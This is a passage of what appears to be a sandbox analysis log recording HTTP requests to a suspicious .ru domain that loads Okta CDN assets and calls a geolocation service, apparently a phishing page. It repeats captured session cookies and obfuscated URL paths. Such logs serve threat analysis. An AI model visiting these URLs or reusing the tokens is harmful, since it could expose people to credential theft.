XSRF-TOKEN=eyJpdiI6IkN2RWpObTQwNmZ5YVRvTmpZU3ZQamc9PSIsInZhbHVlIjoiOU1nTG1aRlN0aHVHTVNyTGNuV2JQUGJIMnU0d3o1WGxSanFrL01tY1dDTS9LeUtIN2theFFYQkZLblkvMEZRWG41S09xZzRjUExSOTVuY2VHbFJsV1p4cHI0d0tVb3U1WFQ4MDRFK0ZpRDZTU0UxN2tPOTBadWkxeE8wY1V1dk4iLCJtYWMiOiIwYjY1N2NkMTIyMmZmMGYyZjA0YjgxZDAxY2FlOTNjOGRlNDUyMzU5MTBlOGZkNzNjMDkyYzFkNWYyYWUxNzBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImtxS3dvNW5iSU9iOWlJUEV2bWcweWc9PSIsInZhbHVlIjoicEZzTGxscDBjMW1SOEszN0lFcGJoUVV0UHJIQUJkSE0wM0k1RHI2aFJLYk41aVcvOGR1Z1ZSdVVGYzN3UE9mZ3pUNHRCT29KTVFTTWlQU1pBNHJTZk90OGNITzZTK1E5akc4bGkrcUluS1RmYjlDVzl4cVBYSHpEWVJQN0ZXZ0kiLCJtYWMiOiJjMjI1OGY2MGUzOTFkNDMzN2VlYzIxZDY5ZjQ1MjViNmVkNjk4MTcxYmYwYzM0ZTk2NjUzNzExZDQ4NGVkODc3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wx2mn8AFQ32Wg6WHBgTatvxopX1ZGh94u3Pf3dd2YBcPAkmMmc90178 HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUMAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN2RWpObTQwNmZ5YVRvTmpZU3ZQamc9PSIsInZhbHVlIjoiOU1nTG1aRlN0aHVHTVNyTGNuV2JQUGJIMnU0d3o1WGxSanFrL01tY1dDTS9LeUtIN2theFFYQkZLblkvMEZRWG41S09xZzRjUExSOTVuY2VHbFJsV1p4cHI0d0tVb3U1WFQ4MDRFK0ZpRDZTU0UxN2tPOTBadWkxeE8wY1V1dk4iLCJtYWMiOiIwYjY1N2NkMTIyMmZmMGYyZjA0YjgxZDAxY2FlOTNjOGRlNDUyMzU5MTBlOGZkNzNjMDkyYzFkNWYyYWUxNzBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImtxS3dvNW5iSU9iOWlJUEV2bWcweWc9PSIsInZhbHVlIjoicEZzTGxscDBjMW1SOEszN0lFcGJoUVV0UHJIQUJkSE0wM0k1RHI2aFJLYk41aVcvOGR1Z1ZSdVVGYzN3UE9mZ3pUNHRCT29KTVFTTWlQU1pBNHJTZk90OGNITzZTK1E5akc4bGkrcUluS1RmYjlDVzl4cVBYSHpEWVJQN0ZXZ0kiLCJtYWMiOiJjMjI1OGY2MGUzOTFkNDMzN2VlYzIxZDY5ZjQ1MjViNmVkNjk4MTcxYmYwYzM0ZTk2NjUzNzExZDQ4NGVkODc3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uvDozZ86DfeH93KodasaV6JoKAz0XdnstnPjlpZlIO7O234128 HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN2RWpObTQwNmZ5YVRvTmpZU3ZQamc9PSIsInZhbHVlIjoiOU1nTG1aRlN0aHVHTVNyTGNuV2JQUGJIMnU0d3o1WGxSanFrL01tY1dDTS9LeUtIN2theFFYQkZLblkvMEZRWG41S09xZzRjUExSOTVuY2VHbFJsV1p4cHI0d0tVb3U1WFQ4MDRFK0ZpRDZTU0UxN2tPOTBadWkxeE8wY1V1dk4iLCJtYWMiOiIwYjY1N2NkMTIyMmZmMGYyZjA0YjgxZDAxY2FlOTNjOGRlNDUyMzU5MTBlOGZkNzNjMDkyYzFkNWYyYWUxNzBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImtxS3dvNW5iSU9iOWlJUEV2bWcweWc9PSIsInZhbHVlIjoicEZzTGxscDBjMW1SOEszN0lFcGJoUVV0UHJIQUJkSE0wM0k1RHI2aFJLYk41aVcvOGR1Z1ZSdVVGYzN3UE9mZ3pUNHRCT29KTVFTTWlQU1pBNHJTZk90OGNITzZTK1E5akc4bGkrcUluS1RmYjlDVzl4cVBYSHpEWVJQN0ZXZ0kiLCJtYWMiOiJjMjI1OGY2MGUzOTFkNDMzN2VlYzIxZDY5ZjQ1MjViNmVkNjk4MTcxYmYwYzM0ZTk2NjUzNzExZDQ4NGVkODc3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rsGGLCGwzNM0Mq8tzKuZCN2ZlFnKeuvHQZhU2nYviQ5xI99TKwosiXzOef191 HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUMAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN2RWpObTQwNmZ5YVRvTmpZU3ZQamc9PSIsInZhbHVlIjoiOU1nTG1aRlN0aHVHTVNyTGNuV2JQUGJIMnU0d3o1WGxSanFrL01tY1dDTS9LeUtIN2theFFYQkZLblkvMEZRWG41S09xZzRjUExSOTVuY2VHbFJsV1p4cHI0d0tVb3U1WFQ4MDRFK0ZpRDZTU0UxN2tPOTBadWkxeE8wY1V1dk4iLCJtYWMiOiIwYjY1N2NkMTIyMmZmMGYyZjA0YjgxZDAxY2FlOTNjOGRlNDUyMzU5MTBlOGZkNzNjMDkyYzFkNWYyYWUxNzBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImtxS3dvNW5iSU9iOWlJUEV2bWcweWc9PSIsInZhbHVlIjoicEZzTGxscDBjMW1SOEszN0lFcGJoUVV0UHJIQUJkSE0wM0k1RHI2aFJLYk41aVcvOGR1Z1ZSdVVGYzN3UE9mZ3pUNHRCT29KTVFTTWlQU1pBNHJTZk90OGNITzZTK1E5akc4bGkrcUluS1RmYjlDVzl4cVBYSHpEWVJQN0ZXZ0kiLCJtYWMiOiJjMjI1OGY2MGUzOTFkNDMzN2VlYzIxZDY5ZjQ1MjViNmVkNjk4MTcxYmYwYzM0ZTk2NjUzNzExZDQ4NGVkODc3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /op1pgxKfNQRjEjCDOf8zKIvExpmnFDCtd7dxjyX45140 HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN2RWpObTQwNmZ5YVRvTmpZU3ZQamc9PSIsInZhbHVlIjoiOU1nTG1aRlN0aHVHTVNyTGNuV2JQUGJIMnU0d3o1WGxSanFrL01tY1dDTS9LeUtIN2theFFYQkZLblkvMEZRWG41S09xZzRjUExSOTVuY2VHbFJsV1p4cHI0d0tVb3U1WFQ4MDRFK0ZpRDZTU0UxN2tPOTBadWkxeE8wY1V1dk4iLCJtYWMiOiIwYjY1N2NkMTIyMmZmMGYyZjA0YjgxZDAxY2FlOTNjOGRlNDUyMzU5MTBlOGZkNzNjMDkyYzFkNWYyYWUxNzBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImtxS3dvNW5iSU9iOWlJUEV2bWcweWc9PSIsInZhbHVlIjoicEZzTGxscDBjMW1SOEszN0lFcGJoUVV0UHJIQUJkSE0wM0k1RHI2aFJLYk41aVcvOGR1Z1ZSdVVGYzN3UE9mZ3pUNHRCT29KTVFTTWlQU1pBNHJTZk90OGNITzZTK1E5akc4bGkrcUluS1RmYjlDVzl4cVBYSHpEWVJQN0ZXZ0kiLCJtYWMiOiJjMjI1OGY2MGUzOTFkNDMzN2VlYzIxZDY5ZjQ1MjViNmVkNjk4MTcxYmYwYzM0ZTk2NjUzNzExZDQ4NGVkODc3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /efETyrYUbOhTDYPjvxyVmzvMM95tM9yMijaogyaJOFRH7Hcd78150 HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN2RWpObTQwNmZ5YVRvTmpZU3ZQamc9PSIsInZhbHVlIjoiOU1nTG1aRlN0aHVHTVNyTGNuV2JQUGJIMnU0d3o1WGxSanFrL01tY1dDTS9LeUtIN2theFFYQkZLblkvMEZRWG41S09xZzRjUExSOTVuY2VHbFJsV1p4cHI0d0tVb3U1WFQ4MDRFK0ZpRDZTU0UxN2tPOTBadWkxeE8wY1V1dk4iLCJtYWMiOiIwYjY1N2NkMTIyMmZmMGYyZjA0YjgxZDAxY2FlOTNjOGRlNDUyMzU5MTBlOGZkNzNjMDkyYzFkNWYyYWUxNzBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImtxS3dvNW5iSU9iOWlJUEV2bWcweWc9PSIsInZhbHVlIjoicEZzTGxscDBjMW1SOEszN0lFcGJoUVV0UHJIQUJkSE0wM0k1RHI2aFJLYk41aVcvOGR1Z1ZSdVVGYzN3UE9mZ3pUNHRCT29KTVFTTWlQU1pBNHJTZk90OGNITzZTK1E5akc4bGkrcUluS1RmYjlDVzl4cVBYSHpEWVJQN0ZXZ0kiLCJtYWMiOiJjMjI1OGY2MGUzOTFkNDMzN2VlYzIxZDY5ZjQ1MjViNmVkNjk4MTcxYmYwYzM0ZTk2NjUzNzExZDQ4NGVkODc3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijTVHGiqrxwwSUF4WUa6VZmncPYBBHVsxaYqxIZ2a6c7jhpetZSef210 HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUMAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN2RWpObTQwNmZ5YVRvTmpZU3ZQamc9PSIsInZhbHVlIjoiOU1nTG1aRlN0aHVHTVNyTGNuV2JQUGJIMnU0d3o1WGxSanFrL01tY1dDTS9LeUtIN2theFFYQkZLblkvMEZRWG41S09xZzRjUExSOTVuY2VHbFJsV1p4cHI0d0tVb3U1WFQ4MDRFK0ZpRDZTU0UxN2tPOTBadWkxeE8wY1V1dk4iLCJtYWMiOiIwYjY1N2NkMTIyMmZmMGYyZjA0YjgxZDAxY2FlOTNjOGRlNDUyMzU5MTBlOGZkNzNjMDkyYzFkNWYyYWUxNzBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImtxS3dvNW5iSU9iOWlJUEV2bWcweWc9PSIsInZhbHVlIjoicEZzTGxscDBjMW1SOEszN0lFcGJoUVV0UHJIQUJkSE0wM0k1RHI2aFJLYk41aVcvOGR1Z1ZSdVVGYzN3UE9mZ3pUNHRCT29KTVFTTWlQU1pBNHJTZk90OGNITzZTK1E5akc4bGkrcUluS1RmYjlDVzl4cVBYSHpEWVJQN0ZXZ0kiLCJtYWMiOiJjMjI1OGY2MGUzOTFkNDMzN2VlYzIxZDY5ZjQ1MjViNmVkNjk4MTcxYmYwYzM0ZTk2NjUzNzExZDQ4NGVkODc3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijKdfybVoGPHkc90RlwCUXcdKmxWXjFfzHjdr0C5S78170 HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN2RWpObTQwNmZ5YVRvTmpZU3ZQamc9PSIsInZhbHVlIjoiOU1nTG1aRlN0aHVHTVNyTGNuV2JQUGJIMnU0d3o1WGxSanFrL01tY1dDTS9LeUtIN2theFFYQkZLblkvMEZRWG41S09xZzRjUExSOTVuY2VHbFJsV1p4cHI0d0tVb3U1WFQ4MDRFK0ZpRDZTU0UxN2tPOTBadWkxeE8wY1V1dk4iLCJtYWMiOiIwYjY1N2NkMTIyMmZmMGYyZjA0YjgxZDAxY2FlOTNjOGRlNDUyMzU5MTBlOGZkNzNjMDkyYzFkNWYyYWUxNzBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImtxS3dvNW5iSU9iOWlJUEV2bWcweWc9PSIsInZhbHVlIjoicEZzTGxscDBjMW1SOEszN0lFcGJoUVV0UHJIQUJkSE0wM0k1RHI2aFJLYk41aVcvOGR1Z1ZSdVVGYzN3UE9mZ3pUNHRCT29KTVFTTWlQU1pBNHJTZk90OGNITzZTK1E5akc4bGkrcUluS1RmYjlDVzl4cVBYSHpEWVJQN0ZXZ0kiLCJtYWMiOiJjMjI1OGY2MGUzOTFkNDMzN2VlYzIxZDY5ZjQ1MjViNmVkNjk4MTcxYmYwYzM0ZTk2NjUzNzExZDQ4NGVkODc3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrfxldrv8igGlQYckZu7V6Zj8o0jZ12hZxQ3l1Z23eUerAMZtL0cd240 HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUMAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN2RWpObTQwNmZ5YVRvTmpZU3ZQamc9PSIsInZhbHVlIjoiOU1nTG1aRlN0aHVHTVNyTGNuV2JQUGJIMnU0d3o1WGxSanFrL01tY1dDTS9LeUtIN2theFFYQkZLblkvMEZRWG41S09xZzRjUExSOTVuY2VHbFJsV1p4cHI0d0tVb3U1WFQ4MDRFK0ZpRDZTU0UxN2tPOTBadWkxeE8wY1V1dk4iLCJtYWMiOiIwYjY1N2NkMTIyMmZmMGYyZjA0YjgxZDAxY2FlOTNjOGRlNDUyMzU5MTBlOGZkNzNjMDkyYzFkNWYyYWUxNzBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImtxS3dvNW5iSU9iOWlJUEV2bWcweWc9PSIsInZhbHVlIjoicEZzTGxscDBjMW1SOEszN0lFcGJoUVV0UHJIQUJkSE0wM0k1RHI2aFJLYk41aVcvOGR1Z1ZSdVVGYzN3UE9mZ3pUNHRCT29KTVFTTWlQU1pBNHJTZk90OGNITzZTK1E5akc4bGkrcUluS1RmYjlDVzl4cVBYSHpEWVJQN0ZXZ0kiLCJtYWMiOiJjMjI1OGY2MGUzOTFkNDMzN2VlYzIxZDY5ZjQ1MjViNmVkNjk4MTcxYmYwYzM0ZTk2NjUzNzExZDQ4NGVkODc3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://o0o6.bvyunz.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wx2mn8AFQ32Wg6WHBgTatvxopX1ZGh94u3Pf3dd2YBcPAkmMmc90178 HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN2RWpObTQwNmZ5YVRvTmpZU3ZQamc9PSIsInZhbHVlIjoiOU1nTG1aRlN0aHVHTVNyTGNuV2JQUGJIMnU0d3o1WGxSanFrL01tY1dDTS9LeUtIN2theFFYQkZLblkvMEZRWG41S09xZzRjUExSOTVuY2VHbFJsV1p4cHI0d0tVb3U1WFQ4MDRFK0ZpRDZTU0UxN2tPOTBadWkxeE8wY1V1dk4iLCJtYWMiOiIwYjY1N2NkMTIyMmZmMGYyZjA0YjgxZDAxY2FlOTNjOGRlNDUyMzU5MTBlOGZkNzNjMDkyYzFkNWYyYWUxNzBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImtxS3dvNW5iSU9iOWlJUEV2bWcweWc9PSIsInZhbHVlIjoicEZzTGxscDBjMW1SOEszN0lFcGJoUVV0UHJIQUJkSE0wM0k1RHI2aFJLYk41aVcvOGR1Z1ZSdVVGYzN3UE9mZ3pUNHRCT29KTVFTTWlQU1pBNHJTZk90OGNITzZTK1E5akc4bGkrcUluS1RmYjlDVzl4cVBYSHpEWVJQN0ZXZ0kiLCJtYWMiOiJjMjI1OGY2MGUzOTFkNDMzN2VlYzIxZDY5ZjQ1MjViNmVkNjk4MTcxYmYwYzM0ZTk2NjUzNzExZDQ4NGVkODc3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /stpigUJ3eXewJvgiT8UFH2LWtoVHAECGlCd2Dbv4NNTxN6367rmaLYFxQ3P43uRXyFrdnNpzsWiGLk3Pef260 HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUMAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN2RWpObTQwNmZ5YVRvTmpZU3ZQamc9PSIsInZhbHVlIjoiOU1nTG1aRlN0aHVHTVNyTGNuV2JQUGJIMnU0d3o1WGxSanFrL01tY1dDTS9LeUtIN2theFFYQkZLblkvMEZRWG41S09xZzRjUExSOTVuY2VHbFJsV1p4cHI0d0tVb3U1WFQ4MDRFK0ZpRDZTU0UxN2tPOTBadWkxeE8wY1V1dk4iLCJtYWMiOiIwYjY1N2NkMTIyMmZmMGYyZjA0YjgxZDAxY2FlOTNjOGRlNDUyMzU5MTBlOGZkNzNjMDkyYzFkNWYyYWUxNzBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImtxS3dvNW5iSU9iOWlJUEV2bWcweWc9PSIsInZhbHVlIjoicEZzTGxscDBjMW1SOEszN0lFcGJoUVV0UHJIQUJkSE0wM0k1RHI2aFJLYk41aVcvOGR1Z1ZSdVVGYzN3UE9mZ3pUNHRCT29KTVFTTWlQU1pBNHJTZk90OGNITzZTK1E5akc4bGkrcUluS1RmYjlDVzl4cVBYSHpEWVJQN0ZXZ0kiLCJtYWMiOiJjMjI1OGY2MGUzOTFkNDMzN2VlYzIxZDY5ZjQ1MjViNmVkNjk4MTcxYmYwYzM0ZTk2NjUzNzExZDQ4NGVkODc3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsGGLCGwzNM0Mq8tzKuZCN2ZlFnKeuvHQZhU2nYviQ5xI99TKwosiXzOef191 HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN2RWpObTQwNmZ5YVRvTmpZU3ZQamc9PSIsInZhbHVlIjoiOU1nTG1aRlN0aHVHTVNyTGNuV2JQUGJIMnU0d3o1WGxSanFrL01tY1dDTS9LeUtIN2theFFYQkZLblkvMEZRWG41S09xZzRjUExSOTVuY2VHbFJsV1p4cHI0d0tVb3U1WFQ4MDRFK0ZpRDZTU0UxN2tPOTBadWkxeE8wY1V1dk4iLCJtYWMiOiIwYjY1N2NkMTIyMmZmMGYyZjA0YjgxZDAxY2FlOTNjOGRlNDUyMzU5MTBlOGZkNzNjMDkyYzFkNWYyYWUxNzBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImtxS3dvNW5iSU9iOWlJUEV2bWcweWc9PSIsInZhbHVlIjoicEZzTGxscDBjMW1SOEszN0lFcGJoUVV0UHJIQUJkSE0wM0k1RHI2aFJLYk41aVcvOGR1Z1ZSdVVGYzN3UE9mZ3pUNHRCT29KTVFTTWlQU1pBNHJTZk90OGNITzZTK1E5akc4bGkrcUluS1RmYjlDVzl4cVBYSHpEWVJQN0ZXZ0kiLCJtYWMiOiJjMjI1OGY2MGUzOTFkNDMzN2VlYzIxZDY5ZjQ1MjViNmVkNjk4MTcxYmYwYzM0ZTk2NjUzNzExZDQ4NGVkODc3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijTVHGiqrxwwSUF4WUa6VZmncPYBBHVsxaYqxIZ2a6c7jhpetZSef210 HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN2RWpObTQwNmZ5YVRvTmpZU3ZQamc9PSIsInZhbHVlIjoiOU1nTG1aRlN0aHVHTVNyTGNuV2JQUGJIMnU0d3o1WGxSanFrL01tY1dDTS9LeUtIN2theFFYQkZLblkvMEZRWG41S09xZzRjUExSOTVuY2VHbFJsV1p4cHI0d0tVb3U1WFQ4MDRFK0ZpRDZTU0UxN2tPOTBadWkxeE8wY1V1dk4iLCJtYWMiOiIwYjY1N2NkMTIyMmZmMGYyZjA0YjgxZDAxY2FlOTNjOGRlNDUyMzU5MTBlOGZkNzNjMDkyYzFkNWYyYWUxNzBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImtxS3dvNW5iSU9iOWlJUEV2bWcweWc9PSIsInZhbHVlIjoicEZzTGxscDBjMW1SOEszN0lFcGJoUVV0UHJIQUJkSE0wM0k1RHI2aFJLYk41aVcvOGR1Z1ZSdVVGYzN3UE9mZ3pUNHRCT29KTVFTTWlQU1pBNHJTZk90OGNITzZTK1E5akc4bGkrcUluS1RmYjlDVzl4cVBYSHpEWVJQN0ZXZ0kiLCJtYWMiOiJjMjI1OGY2MGUzOTFkNDMzN2VlYzIxZDY5ZjQ1MjViNmVkNjk4MTcxYmYwYzM0ZTk2NjUzNzExZDQ4NGVkODc3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/javascript, /; q=0.01sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: https://o0o6.bvyunz.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://o0o6.bvyunz.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /stpigUJ3eXewJvgiT8UFH2LWtoVHAECGlCd2Dbv4NNTxN6367rmaLYFxQ3P43uRXyFrdnNpzsWiGLk3Pef260 HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: 